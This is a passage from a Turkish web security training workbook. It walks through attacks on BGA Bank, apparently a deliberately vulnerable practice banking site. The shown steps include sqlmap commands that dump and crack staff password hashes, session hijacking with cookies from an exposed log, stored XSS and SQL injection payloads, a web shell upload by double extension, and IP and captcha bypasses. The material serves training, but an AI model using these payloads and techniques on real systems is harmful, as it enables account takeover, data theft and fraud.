-‐-‐dbms
MYSQL
-‐-‐level
4
-‐D
bga_bank_4_0
-‐-‐tables
Çıktı
Database:
bga_bank_4_0
[20
tables]
+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+
|
bnk_ayarlar
|
|
bnk_bankalar
|
|
bnk_basvurular
|
|
bnk_failed_logins
|
|
bnk_hesap_islemleri
|
|
bnk_hesap_turleri
|
|
bnk_hesaplar
|
|
bnk_iller
|
|
bnk_kartlar
|
|
bnk_karttipleri
|
27. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
27
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
|
bnk_kurtipleri
|
|
bnk_musteri_temsilci_mesajlar
|
|
bnk_musteriler
|
|
bnk_musteriler_user_agent
|
|
bnk_plakalar
|
|
bnk_sahte_hesaplar
|
|
bnk_sayfalar
|
|
bnk_subeler
|
|
bnk_temsilciler
|
|
bnk_ziyaretci_defteri
|
+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+
Tablo
11.
sqlmap
Tablo
Listeleme
Verileri
Listelenen
tablolardan
BGA
Bank’taki
müşteri
temsilcileri
hedef
alınmıştır.
-‐T
ile
bnk_temsilciler
tablosu
seçilir
ve
-‐-‐columns
parametresi
ile
kolonlar
listelenir.
(Tablo
12)
Komut
sqlmap.py
-‐u
'http://www.bgabank.com/index.php?sayfa=arama.php&s=deneme'
-‐p
s
-‐-‐dbms
MYSQL
-‐-‐level
4
-‐D
BGA_Bank_1_0
-‐T
bnk_temsilciler
-‐-‐columns
Çıktı
Database:
bga_bank_4_0
Table:
bnk_temsilciler
[9
columns]
+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+
|
Column
|
Type
|
+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+
|
t_adi
|
varchar(25)
|
|
t_durum
|
int(11)
|
|
t_email
|
varchar(200)
|
|
t_ensongiristarihi
|
timestamp
|
|
t_ID
|
int(11)
|
|
t_kullanicino
|
varchar(9)
|
|
t_resim_yol
|
text
|
|
t_sifre
|
text
|
|
t_soyadi
|
varchar(30)
|
+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+
Tablo
12.
sqlmap
kolon
listeleme
verileri
Temsilci
numarası
ve
şifresi
sırasıyla
t_kullanicino
ve
t_sifre
kolonlarında
tutulduğundan
bu
iki
kolondaki
veriler
Tablo
13
de
gösterilen
komut
ile
çekilir.
28. 28
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Komut
sqlmap.py
-‐u
"http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2="
-‐p
s1
-‐-‐dbms
MYSQL
-‐-‐level
4
-‐D
bga_bank_4_0
-‐T
bnk_temsilciler
-‐C
t_kullanicino,t_sifre
-‐-‐dump
Çıktı
Database:
bga_bank_4_0
Table:
bnk_temsilciler
[2
entries]
+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+
|
t_sifre
|
t_kullanicino
|
+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+
|
310dcbbf4cce62f762a2aaa148d556bd
(333)
|
11111111
|
|
310dcbbf4cce62f762a2aaa148d556bd
(333)
|
22222222
|
+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+
Tablo
13.
sqlmap
veritabanından
veri
çekme
Sqlmap
sözlük
saldırısı
ile
şifreyi
çözmeyi
başarabilmiştir
fakat
sqlmap
yetersiz
kaldığında
şifreler
http://hashkiller.co.uk/md5-‐decrypter.aspx
adresinden
MD5
veritabanında
aratılabilir.
Kullanıcı
adı
ve
parola
ile
sisteme
giriş
denenir.
(Şekil
23)
Şekil
23.
Sisteme
giriş
denemesi
Sonuç.
başarılı!
(Şekil
24)
29. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
29
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Şekil
24.
Sonuç
Diğer
veritabanları
üzerinden
denemeler
yapılabilir.
Örneğin
phpmyadmin
veritabanı,
pma_userconfig
tablosu,
username
kolonu
üzerinden
gidilirse
phpmyadmin
kullanıcılarına
ulaşılabilir
(Tablo
14).
Phpmyadmin
panelide
bilindiğinden
kullanıcı
adlarına
brute
force
yapılabilir.
(phpMyAdmin
kullanıcılarının
parola
bilgileri
veritabanında
değil
işletim
sisteminde
saklandığı
için
şifreler
veritabanından
ulaşılamaz.)
30. 30
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
12. Log Dizininde Cookie İfşası (elmah.axd) ve İstismarı
URL
http://isube.bgabank.com/elmah.axd
Tablo
14.
Log
dizini
URL
bilgisi
Belirtilen
dizinde,
giriş
yapan
kullanıcıların
oturum
bilgisini
saklayan
cookieler
tutulmaktadır.
Bu
bilgiler
kullanılarak
oturum
hırsızlığı
(session
hijacking)
yapılabilir.
(Şekil
25)
Şekil
25.
Elmah.axd
dizini
İstismar
için
Chrome
ve
Firefox
tarayıcısı
ile
Firefox
eklentisi
olan
Cookie
Manager+
v1.5.2
kullanılmıştır.
Farklı
eklentiler
de
kullanılabilir.
Zafiyetin
istismarı
aşağıda
adım
adım
anlatılmıştır.
31. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
31
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
1)
Normal
bir
müşteri(10000142
Müşteri
No.lu
Mustafa
Balaban)
olarak
Chrome
üzerinden
giriş
yapılır.
Şekil
26.
Chrome
Normal
Giriş
BGA
Bank
uygulaması
bu
kullanıcının
cookie
bilgisini
http://isube.bgabank.com/elmah.axd/
dizini
altında
kullanıcı
numarası
klasöründe
saklamaktadır.
(http://isube.bgabank.com/elmah.axd/10000142/)
Şekil
27.
Elmah.axd
Log
32. 32
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
2)
Loglardan
elde
edilen
cookie
bilgileri
Firefox
Cookie
Manager
ile
Firefox
üzerinde
değiştirilir,
olmayanlar
eklenir.
Şekil
28.
Cookie
Değiştirme
Şekil
28.
de
PHPSESSID
değeri
değiştirilmiştir.
Şekil
29.
da
ise
guest
cookie
bilgisi
FALSE
olarak
eklenmiştir.
33. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
33
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Şekil
29.
Guest
Cookie
Bilgilerini
Ekleme
34. 34
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
3)
Firefox’da
iken
sayfa
yenilendiğinde
Mustafa
Balaban
olarak
giriş
yapıldığı
görülecektir.
Şekil
30.
Cookie
Değiştirme
Sonucu
NOT:
Bu
cookielerin
sunucudan
gelirken
görüntülemek
için
Burp
ile
sunucudan
dönen
cevaplar
içinde
araya
girmek
gerekir.
Burp
varsayılan
olarak
giden
istekler
için
araya
girer.
Proxy
→
Options
sekmesi
altında
1
ile
belirtilen
kısım
giden
istekler
için
araya
girerken,
2
ile
belirtilen
kısım
sunucudan
gelen
istekler
içinde
araya
girer.
35. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
35
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Şekil
31.
Burp
Suite
Options
Intercept
responses
based
on
the
following
rules
için
tik
koyulduktan
sonra
giriş
sonrası
sunucudan
gelen
cevap
ve
cookie
bilgileri
görüntülenebilir.
36. 36
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
13. Mesaj Gönderme Stored XSS Zafiyeti ve İstismarı
URL
http://isube.bgabank.com/mesajlar.aspx?islem=yenimesaj
HTTP
Talep
Türü
POST
Payload
<img
onerror="alert(document.cookie)"
src="1.jpg">
Parametre
Mesaj
(k2)
Müşteri
girişi
yapıldıktan
sonra
Mesajlar
menüsünden
müşteri
temsilcisine
mesaj
gönderilebiliyor.
Mesaj
bölümünde
XSS
payload
girilip
gönderildiğinde,
müşteri
temsilcisi
mesajı
görüntülediği
anda
XSS
payload
çalıştırılabilir.
Adımlar
aşağıdaki
gibidir.
1)
Normal
müşteri
olarak
giriş
yapılır,
Mesajlar
menüsünden,
Yeni
Mesaj
gönder
seçilir.
(Şekil
32)
Şekil
32.
Yeni
Mesaj
Gönderme
Formu
37. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
37
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
2)
Tablo
15
de
belirtilen
payload
Mesaj
kısmına
girilir
ve
“Devam
Et”
butonuna
tıklanır.
Ardından
temsilci
olarak
sisteme
giriş
yapılır
ve
istek
görüntülenir.
(Şekil
33)
Şekil
33.
Müşteri
ve
temsilci
mesajlar
paneli
Üstte
müşteriye
ait
olan
panelden
gönderilen
mesaj,
temsilcinin
mesajlar
paneline
düşmüştür.
3)
Temsilci
mesajı
görüntüler
ve
XSS
payloadı
çalışır.
Şekil
34.
XSS
Payload
Çalışır
Cookie
bilgisi
ekrana
bir
pop-‐up
çıkartmak
yerine
uzak
bir
makinede
bir
dosyaya
da
yazılabilir
ve
oturum
hırsızlığı
yapılabilirdi.
38. 38
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
14. Havale/EFT Hesap Arama Kutusu SQL Injection Zafiyeti ve
İstismarı
URL
http://isube.bgabank.com/havale-‐eft.aspx
HTTP
Talep
Türü
GET
Payload
a"+or+1=1;-‐-‐
Parametre
term
Tablo
16.
Havale/EFT
Hesap
Arama
Kutusu
SQL
Injection
Zafiyet
Bilgileri
Müşteri
girişi
yapıldıktan
sonra
Havale-‐EFT
işlemi
sırasında,
"Varolan
Hesaplar"
kısmından
arama
yapılıp
diğer
kullanıcılar
görüntülenebilir.
Bu
bölümde
SQL
injection
zafiyeti
vardır.
Havale-‐EFT
sayfası
‘Varolan
Hesaplar’
kısmına
“a”
gibi
bir
harf
yazıldığında
içinde
“a”
geçen
müşteriler
listelenecektir.
Şekil
35.
Hesap
Arama
Burp
ile
araya
girildiğinde
şekil
36’da
ki
gibi
bir
isteğin
gittiği
görülür.
Şekil
36.
Burp
Suite
SQL
Injection
39. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
39
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Çeşitli
denemelerden
sonra
tablo
16
belirtilen
payload
yazıldığında
bütün
müşterilerin
listelendiği
görülür.
(Şekil
37)
Şekil
37.
Burp
Suite
Tüm
Müşterileri
Listeleme
Gönderilen
GET
datası
GET
/ajax.php?sayfa=hesap-‐lists.php&term=a
HTTP/1.1
Host:
isube.bgabank.com
User-‐Agent:
Mozilla/5.0
(Windows
NT
6.3;
WOW64;
rv:32.0)
Gecko/20100101
Firefox/32.0
Accept:
application/json,
text/javascript,
*/*;
q=0.01
Accept-‐Language:
en-‐US,en;q=0.5
Accept-‐Encoding:
gzip,
deflate
Content-‐Type:
text/plain;
charset=UTF-‐8
X-‐Requested-‐With:
XMLHttpRequest
Referer:
http://isube.bgabank.com/havale-‐eft.aspx
Cookie:
PHPSESSID=ersvs83cl712mkni2jm1ru6t33;
is_admin=false;
guest=FALSE
DNT:
1
Connection:
keep-‐alive
40. 40
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
GET
datası
alınır
ve
bir
text
dosyasına
kaydedilir,
kaydedilen
metin
belgesi
-‐r
parametresiyle
sqlmap
aracına
verilir.
Komut
sqlmap.py
-‐r
../Desktop/deneme.txt
-‐-‐dbms
mysql
-‐p
term
-‐-‐level
3
-‐-‐risk
3
Çıktı
Place:
GET
Parameter:
term
Type:
UNION
query
Title:
MySQL
UNION
query
(NULL)
-‐
14
columns
Payload:
sayfa=hesap-‐lists.php&term=a"
UNION
ALL
SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CON
CAT(0x7171687971,0x6d6
56a4e4f7653726749,0x716f666e71)#
Type:
AND/OR
time-‐based
blind
Title:
MySQL
>
5.0.11
OR
time-‐based
blind
Payload:
sayfa=hesap-‐lists.php&term=-‐7892"
OR
5880=SLEEP(5)
AND
"oRfa"
LIKE
"oRfa
41. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
41
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
15. User-Agent Başlık Bilgisinde SQL Injection Zafiyeti ve
İstismarı
Müşteri
girişi
yapılırken
kullanıcı
adı
ve
şifre
doğru
ise
User-‐Agent
bilgileri
veritabanına
kayıt
oluyor.
User-‐Agent
başlık
bilgisinde
zaman
tabanlı
SQL
injection
zafiyeti
vardır.
URL
http://isube.bgabank.com/giris.aspx
HTTP
Talep
Türü
POST
Payload
"
AND
SLEEP(5)
AND
"1"="1
Parametre
User-‐Agent
Tablo
17.
User-‐Agent
Başlık
Bilgisi
SQL
Injection
Zafiyet
Bilgileri
SLEEP
fonksiyonu
MySQL’de,
MSSQL
veritabanındaki
waitfor
delay
fonksiyonun
karşılığıdır.
Tablo
17.
de
ki
payload,
user-‐agent
başlığına
eklendiğinde,
sayfanın
5
saniye
geç
yüklendiği
görülecektir.
(Şekil
38)
Şekil
38.
Time
Based
SQL
Injection
42. 42
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
16. Profil Güncelleme Shell Upload Zafiyeti ve İstismarı
Müşteri
girişi
yapıldıktan
sonra
Müşteri
Bilgilerim
menüsünde
kısmında
kullanıcıların
kendileri
için
profil
resmi
yükleyebileceği
bir
form
vardır.
Bu
formda
sadece
jpg
ve
png
uzantılı
resim
yüklenebileceği
belirtilmekte
ancak
uzantı
kontrolü
çok
basit
şekilde
yapılmaktadır.
Buraya
yüklenecek
bir
shell
ile
işletim
sistemine
komut
gönderilebilir.
Şekil
39.
Müşteri
Bilgilerim
Sayfası
Sisteme
normal
php
uzantılı
dosya
yüklenmek
istendiğinde
yükleme
başarısız
olacaktır.
Uygulamanın
geliştirme
sürecinde
yapılan
hatalardan
biri
dosya
içerisinde
noktadan
sonra
png,jpg
kontrolünün
yapılmasıdır.
Dolayısıyla
sisteme
shell.jpg.php
şeklinde
dosya
gönderildiğinde
kabul
edilecektir
çünkü
noktadan
sonra
jpg
kullanılmıştır
ama
dosya
uzantısı
php
dir.
43. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
43
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Şekil
40.
Shell
Yükleme
Shelle
ulaşıp
çalıştırmak
için
shell
lokasyonu
sayfa
kaynağından
öğrenilebilir.
(Şekil
41)
Şekil
41.
Sayfa
Kaynağı
Shell
Lokasyonu
Tespiti
44. 44
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Başka
bir
yöntem
olarak
DirBuster
programı
ile
shelle
ulaşılabilir.
(Şekil
42)
Şekil
42.
DirBuster
Yüklenen
shell
şu
şekilde
olduğu
görülecektir:
http://isube.bgabank.com/uploads/kullanıcı_id/dosya_adı.jpg.php
Şekil
43.
Shell
45. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
45
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
17. Havale/EFT Stored XSS Zafiyeti ve İstismarı
Müşteri
olarak
BGA
BANK’a
giriş
yapılır.
İşlemler
→
Havale/EFT
bölümünde
k8
parametresinde
(Not
kısmı)
stored
XSS
zafiyeti
vardır.
Bu
zafiyet
istismar
edildiğinde
XSS
payloadı,
hem
Havale/EFT
yapılan
kişinin
tarayıcısında
hem
de
saldırganın
tarayıcısında,
hesap
bilgileri
görüntülendiğinde
çalışacaktır.
URL
http://isube.bgabank.com/havale-‐eft.aspx
HTTP
Talep
Türü
POST
Payload
<script>alert(document.cookie)</script>
Parametre
k8
Tablo
18.
Havale/EFT
Stored
XSS
Zafiyet
Bilgileri
XSS
tipi
stored(depolanan)
olarak
belirtilmiştir.
Çünkü
girilen
payload
veritabanına
kaydedilmiştir.
Uygulama
içerisinde
Not’un
gösterildiği
her
yerde
bu
payload
çalışacaktır.
İstismar
adım
adım
aşağıda
anlatılmıştır.
46. 46
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
1)
Normal
müşteri
olarak
giriş
yapılır.
Havale
işlemi
sayfasında
bulunan
“Varolan
Hesaplar”
yardımıyla
para
havale
edilecek
müşteri
seçilir
ve
“Not”
alanına
payload
girilip
“Devam
et”
butonuna
tıklanır.
(Şekil
44)
Şekil
44.
Havale
İşlemi
47. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
47
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
2)
Havale
edilen
kişinin
hesabına
girilir.
Menuden
“Hesap
Bilgilerim”
seçilir
ve
ardından
“Devam
Et”
butonuna
tıklanır.
Açılan
sayfa
hesap
geçmişini
görüntülediğinden,
saldırgan
tarafından
gönderilen
not
bu
sayfaya
düşer
ve
XSS
payload
çalışır.
(Şekil
45)
Şekil
45.
Havale/EFT
XSS
istismarı
48. 48
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
18. Erişim Kısıtlamasını Atlatma
Her
kullanıcı
Ayarlar
bölümünden
BGABANK’a
erişebileceği
IP'yi
belirtebilir
ve
artık
sadece
o
IP
üzerinden
erişim
sağlanır.
Bu
kısıtlama
iki
şekilde
atlatılabilmektedir.
1)
Uygulamaya
mobil
olarak
giriş
yapılırsa
IP
kısıtlaması
atlatılmış
olur.
IP
erişimini
belirleme:
Şekil
46.
Ayarları
Özelleştirme
49. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
49
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
User-‐Agent
değiştirmek
için
Firefox’ta
User
Agent
Switcher
eklentisi
kullanılabilir.
Ya
da
Şekil
47
de
ki
gibi
Burp
Suite
ile
User-‐Agent
değeri
değiştirilerek
giriş
yapılabilir.
Şeki
47.
Burp
Suite
İle
User-‐Agent
Bilgisi
Değiştirme
Örnek
POST
datası
POST
/giris.aspx
HTTP/1.1
Host:
isube.bgabank.com
User-‐Agent:
Opera/9.80
(Android;
Opera
Mini/7.5.33361/31.1543;
U;
en)
Presto/2.8.119
Version/11.1010
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-‐Language:
en-‐US,en;q=0.5
Accept-‐Encoding:
gzip,
deflate
Referer:
http://isube.bgabank.com/giris.aspx
Cookie:
PHPSESSID=qbs1b2qas1j7gk9olkbb27s6p4
Connection:
keep-‐alive
Content-‐Type:
application/x-‐www-‐form-‐urlencoded
Content-‐Length:
38
b_musterino=10000142&b_password=sifre
50. 50
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
2)
X-‐Forwarded-‐For
başlık
bilgisi
ekleyerek
de
bu
engel
atlatılabilir.
Farklı
bir
IP
ile
giriş
yapılmaya
çalışıldığında
kullanıcının
izin
verdiği
IP
bilgisi
ekrana
yazdırılmaktadır.
(Şekil
48)
Şekil
48.
IP
Yasağı
Ekrana
yazdırılan
IP
bilgisini
kullanmak
için
Burp
proxy
aracı
ile
araya
girilir.
Şekil
49
da
ki
gibi
X-‐Forwarded-‐For:
1.1.1.1
(yada
izin
verilen
IP
ne
ise)
başlık
bilgisi
girilir.
Şekil
49.
X-‐Forwarded-‐For
Sisteme
başarıyla
giriş
yapılır.
51. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
51
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
19. Havale/EFT İşlemi Mantık Hatası ve İstismarı
Uygulamaya
web
üzerinden
girildiğinde
Havale/EFT
işlemleri
için
ücret
kesilirken,
mobil
cihazlardan
girildiğinde
ücret
kesilmemektedir.
Bu
zafiyet
ile
User-‐Agent
bilgisi
mobil
cihaz
olacak
şekilde
değiştirilerek
havale/EFT
işlemi
ücretsiz
yapılabilir.
Şekil
50.
User-‐Agent
Switcher
Aşağıda
web
ve
mobil
olarak
iki
arayüz
gösterilmiştir.
Web
arayüzde
yapılan
işlemlerden
ücret
kesileceği
uyarısı
yer
almaktadır
fakat
mobilde
bu
uyarıya
yer
verilmemiştir.
Web
52. 52
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Mobil
53. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
53
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
20. Müşteri Bilgileri Insecure Direct Object Zafiyeti ve
İstismarı
Müşteri,
profil
bilgilerini
Müşteri
Bilgilerim
menüsü
altında
bulabilmektedir.
Bu
sayfadaki
bilgiler
Tablo
19
da
belirtilen
musteriID
parametresi
ile
veritabanından
çağrılmaktadır.
Parametre
değeri
değiştirilip
başka
bir
değer
girildiğinde
sisteme
kayıtlı
diğer
müşteri
bilgilerine
erişim
sağlanabilmektedir.
URL
http://isube.bgabank.com/profil.aspx?musteriID=11
HTTP
Talep
Türü
GET
Parametre
musteriID
Tablo
19.
Müşteri
Bilgileri
Insecure
Direct
Object
Zafiyet
Bilgileri
54. 54
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Şekil
51.
de
sisteme
musteriID
değeri
11
olan
Mustafa
Balaban
olarak
giriş
yapılmıştır.
Şekil
51.
Müşteri
Bilgileri
55. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
55
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Tablo
19.
da
verilen
URL
bilgisinin
sonunda
bulunan
11
olan
mustediID
parametresinin
değeri
12
olarak
değiştirildiğinde
şekil
52
de
görüldüğü
gibi
başka
bir
kullanıcının
bilgilerine
ulaşılır.
Şekil
52.
Başka
Müşteri
Bilgileri
56. 56
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
21. Ziyaretçi Defteri Stored XSS Zafiyeti ve İstismarı
Ziyaretçi
defteri
sayfasında
yer
alan
“Mesajınız”
kısmında
Stored
XSS
zafiyeti
vardır.
İstismar
edildiğinde,
stored
tipinde
bir
XSS
olduğu
için,
ilgili
sayfa
her
ziyaret
edildiğinde
payload
çalışacaktır.
URL
http://isube.bgabank.com/ziyaretcidef.aspx
HTTP
Talep
Türü
POST
Payload
<script>alert(document.cookie)</script>
Parametre
k4
Tablo
20.
Ziyaretçi
Defteri
Stored
XSS
Zafiyet
Bilgileri
Tablo
20.
de
yer
alan
payload
şekil
53.
deki
gibi
“Mesajınız”
kısmına
yazılır
ve
sisteme
gönderilir.
Şekil
53.
Ziyaretçi
Defteri
57. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
57
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Sonuç,
başarılı.
(Şekil
54)
Şekil
54.
Sonuç
58. 58
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
22. Çalışmayan Captcha Uygulaması
URL
http://isube.bgabank.com/administrator.aspx
Tablo
21.
Çalışmayan
Captcha
Adresi
Tablo
21.
de
belirtilen
adreste
bulunan
captcha
çalışmamaktadır.
Administrator
giriş
sayfası
için
sadece
captchanın
boş
olup
olmadığının
kontrolü
yapılmaktadır.
Şekil
55.
Başarısız
Deneme
Şekil
56.
Başarılı
Deneme
59. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
59
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
23. Captcha Atlatarak Brute Force Saldırısı Gerçekleştirme
URL
http://isube.bgabank.com/iletisim.aspx
Tablo
22.
Captcha
Adresi
BGA
Bank
iletişim
sayfasında
bulunan
captchanın
doğru
bir
şekilde
girildiğinin
kontrolü
yapılmaktadır
(Şekil
57)
ancak
araya
girilerek
tek
bir
captcha
ile
çok
fazla
GET
isteği
gönderilebilir.
Şekil
57.
İletişim
Sayfası
Boş
Captcha
Sonucu
60. 60
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Şekil
58.
İletişim
Sayfası
Captcha
Kontrolü
İstismar
için
gönderilen
GET
isteği
örneği
aşağıdaki
gibidir.
Burada
aynı
captcha
kullanılarak
sadece
mail
adresleri
değiştirilip
gönderilmiştir.
Örnek
GET
isteği
aşağıdaki
gibidir.
GET
/ajax.php?sayfa=iletisim.php&k1=Ceylan&k2=Bozogullarindan&k3=(554)+478+87+88&k4=Ba
%C5%9Fvuru+Hakk%C4%B1nda&k5=Ornek+mesaj&k6=deneme%40bga.com.tr&k7=ptisan
HTTP/1.1
Host:
isube.bgabank.com
User-‐Agent:
Mozilla/5.0
(Windows
NT
6.3;
WOW64;
rv:32.0)
Gecko/20100101
Firefox/32.0
Accept:
text/html,
*/*;
q=0.01
Accept-‐Language:
en-‐US,en;q=0.5
Accept-‐Encoding:
gzip,
deflate
Content-‐Type:
text/plain;
charset:UTF-‐8
X-‐Requested-‐With:
XMLHttpRequest
Referer:
http://isube.bgabank.com/iletisim.aspx
Cookie:
PHPSESSID=uq0vkig0f89mg24dse8s8akdu2
DNT:
1
Connection:
keep-‐alive
61. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
61
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Ekran
görüntüsünde
ve
örnek
GET
isteğinde
görülebileceği
gibi
mail
